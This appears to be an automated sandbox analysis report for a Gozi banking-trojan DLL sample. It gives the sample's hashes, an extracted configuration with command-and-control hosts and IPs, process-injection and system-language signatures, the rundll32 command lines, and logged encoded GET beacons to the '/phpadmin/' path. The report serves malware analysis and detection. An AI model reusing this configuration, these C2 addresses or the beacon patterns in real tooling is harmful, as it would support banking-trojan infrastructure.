Analysis
-
max time kernel
140s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22-12-2024 03:22
Static task
static1
Behavioral task
behavioral1
Sample
JaffaCakes118_e739ee352a7fa996464d11da615a40e24a7608a4a7187cd9d1e373aebdc0d403.dll
Resource
win7-20241010-en
General
-
Target
JaffaCakes118_e739ee352a7fa996464d11da615a40e24a7608a4a7187cd9d1e373aebdc0d403.dll
-
Size
625KB
-
MD5
ddbed2100c6f33448487040950877730
-
SHA1
976f4818d44db7b2ba905a1e4d683c4c73be46d6
-
SHA256
e739ee352a7fa996464d11da615a40e24a7608a4a7187cd9d1e373aebdc0d403
-
SHA512
7d7dbde4c553c1645771c50ebb25f80267cd77dd0acbe64e90a0386ea16cf3307bdb832933cde2d6707087cdfa08faf55ea7078d9e877a6703ca7f9c50118f70
-
SSDEEP
12288:+w1lEKREbddtOYRbHzcPwka1dCjc3N8Z5:+w1lEKOpuYxiwkkgjAN8Z5
Malware Config
Extracted
gozi
Extracted
gozi
999
config.edge.skype.com
146.70.35.138
146.70.35.142
-
base_path
/phpadmin/
-
build
250227
-
exe_type
loader
-
extension
.src
-
server_id
50
Signatures
-
Gozi family
-
Blocklisted process makes network request 3 IoCs
flow pid Process 22 448 rundll32.exe 35 448 rundll32.exe 42 448 rundll32.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 676 wrote to memory of 448 676 rundll32.exe 83 PID 676 wrote to memory of 448 676 rundll32.exe 83 PID 676 wrote to memory of 448 676 rundll32.exe 83
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_e739ee352a7fa996464d11da615a40e24a7608a4a7187cd9d1e373aebdc0d403.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:676 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_e739ee352a7fa996464d11da615a40e24a7608a4a7187cd9d1e373aebdc0d403.dll,#12⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:448
-
Network
-
Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request196.249.167.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request0.159.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request154.239.44.20.in-addr.arpaIN PTRResponse
-
GEThttp://config.edge.skype.com/phpadmin/vqK1mqqYg7S_2BvHBIrH/BXJ7tUMzc7_2FAzxyDq/WNIE4YWPagFlIEoprWqPFs/qv1PO2R5udEJy/7x3fhBdS/ZapDbG99sBJK6i4Hkk2n9Wx/I7elrRKYVA/S2mpLrcV_2BLrBeSp/GgcPEkpuZoDv/jQrUCZfXkoY/gIAmetT0nP_2F8/aGS71d8lOgYYGmaXhOj8B/zL6hyQGPJaQjlNPv/sYOE2nAY9_2Bx72/tUhafpeKCyaWVShD2V/pd4GAp.srcrundll32.exeRemote address:13.107.42.16:80RequestGET /phpadmin/vqK1mqqYg7S_2BvHBIrH/BXJ7tUMzc7_2FAzxyDq/WNIE4YWPagFlIEoprWqPFs/qv1PO2R5udEJy/7x3fhBdS/ZapDbG99sBJK6i4Hkk2n9Wx/I7elrRKYVA/S2mpLrcV_2BLrBeSp/GgcPEkpuZoDv/jQrUCZfXkoY/gIAmetT0nP_2F8/aGS71d8lOgYYGmaXhOj8B/zL6hyQGPJaQjlNPv/sYOE2nAY9_2Bx72/tUhafpeKCyaWVShD2V/pd4GAp.src HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
Host: config.edge.skype.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 400 Bad Request
X-MSEdge-Ref: 07oVnZwAAAACrbUW6oL2sQJpER1kblvjOTE9OMDRFREdFMTIxMQBFZGdl
Date: Sun, 22 Dec 2024 03:22:21 GMT
-
Remote address:8.8.8.8:53Request50.23.12.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request241.42.69.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request19.229.111.52.in-addr.arpaIN PTRResponse
-
GEThttp://config.edge.skype.com/phpadmin/VcJrXLDT4FzA7ZvepmqOIt/VeoB6PlGeiwFx/3n_2BKwH/9ofi0oGOWWVDDUrrHosDxGN/gv8K8P2LpX/_2FSbJ2xQ9vvf_2FY/U0T67cik1BPk/uX0SVfuRZdP/cK42tutG0pxSGk/YV5xK4VCrK3fMqqKQ_2By/BGLJFijJ3ZsWrD2K/16wundUOPO1GkyA/OhsE1vHUu3xF1gdd2M/_2FzoLSkK/WsLTDqCpgpxYSui7fMS3/_2B_2FSJFTGQ4U6/1nD_2FZ.srcrundll32.exeRemote address:13.107.42.16:80RequestGET /phpadmin/VcJrXLDT4FzA7ZvepmqOIt/VeoB6PlGeiwFx/3n_2BKwH/9ofi0oGOWWVDDUrrHosDxGN/gv8K8P2LpX/_2FSbJ2xQ9vvf_2FY/U0T67cik1BPk/uX0SVfuRZdP/cK42tutG0pxSGk/YV5xK4VCrK3fMqqKQ_2By/BGLJFijJ3ZsWrD2K/16wundUOPO1GkyA/OhsE1vHUu3xF1gdd2M/_2FzoLSkK/WsLTDqCpgpxYSui7fMS3/_2B_2FSJFTGQ4U6/1nD_2FZ.src HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
Host: config.edge.skype.com
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 400 Bad Request
X-MSEdge-Ref: 0Z4ZnZwAAAADllu+jNDHeSLkZGjCqMhiSTE9OMDRFREdFMDcxNABFZGdl
Date: Sun, 22 Dec 2024 03:24:23 GMT
-
13.107.42.16:80http://config.edge.skype.com/phpadmin/vqK1mqqYg7S_2BvHBIrH/BXJ7tUMzc7_2FAzxyDq/WNIE4YWPagFlIEoprWqPFs/qv1PO2R5udEJy/7x3fhBdS/ZapDbG99sBJK6i4Hkk2n9Wx/I7elrRKYVA/S2mpLrcV_2BLrBeSp/GgcPEkpuZoDv/jQrUCZfXkoY/gIAmetT0nP_2F8/aGS71d8lOgYYGmaXhOj8B/zL6hyQGPJaQjlNPv/sYOE2nAY9_2Bx72/tUhafpeKCyaWVShD2V/pd4GAp.srchttprundll32.exe664 B 583 B 5 5
HTTP Request
GET http://config.edge.skype.com/phpadmin/vqK1mqqYg7S_2BvHBIrH/BXJ7tUMzc7_2FAzxyDq/WNIE4YWPagFlIEoprWqPFs/qv1PO2R5udEJy/7x3fhBdS/ZapDbG99sBJK6i4Hkk2n9Wx/I7elrRKYVA/S2mpLrcV_2BLrBeSp/GgcPEkpuZoDv/jQrUCZfXkoY/gIAmetT0nP_2F8/aGS71d8lOgYYGmaXhOj8B/zL6hyQGPJaQjlNPv/sYOE2nAY9_2Bx72/tUhafpeKCyaWVShD2V/pd4GAp.srcHTTP Response
400 -
260 B 5
-
13.107.42.16:80http://config.edge.skype.com/phpadmin/VcJrXLDT4FzA7ZvepmqOIt/VeoB6PlGeiwFx/3n_2BKwH/9ofi0oGOWWVDDUrrHosDxGN/gv8K8P2LpX/_2FSbJ2xQ9vvf_2FY/U0T67cik1BPk/uX0SVfuRZdP/cK42tutG0pxSGk/YV5xK4VCrK3fMqqKQ_2By/BGLJFijJ3ZsWrD2K/16wundUOPO1GkyA/OhsE1vHUu3xF1gdd2M/_2FzoLSkK/WsLTDqCpgpxYSui7fMS3/_2B_2FSJFTGQ4U6/1nD_2FZ.srchttprundll32.exe671 B 543 B 5 4
HTTP Request
GET http://config.edge.skype.com/phpadmin/VcJrXLDT4FzA7ZvepmqOIt/VeoB6PlGeiwFx/3n_2BKwH/9ofi0oGOWWVDDUrrHosDxGN/gv8K8P2LpX/_2FSbJ2xQ9vvf_2FY/U0T67cik1BPk/uX0SVfuRZdP/cK42tutG0pxSGk/YV5xK4VCrK3fMqqKQ_2By/BGLJFijJ3ZsWrD2K/16wundUOPO1GkyA/OhsE1vHUu3xF1gdd2M/_2FzoLSkK/WsLTDqCpgpxYSui7fMS3/_2B_2FSJFTGQ4U6/1nD_2FZ.srcHTTP Response
400
-
73 B 147 B 1 1
DNS Request
196.249.167.52.in-addr.arpa
-
74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
0.159.190.20.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
154.239.44.20.in-addr.arpa
-
70 B 156 B 1 1
DNS Request
50.23.12.20.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
241.42.69.40.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
19.229.111.52.in-addr.arpa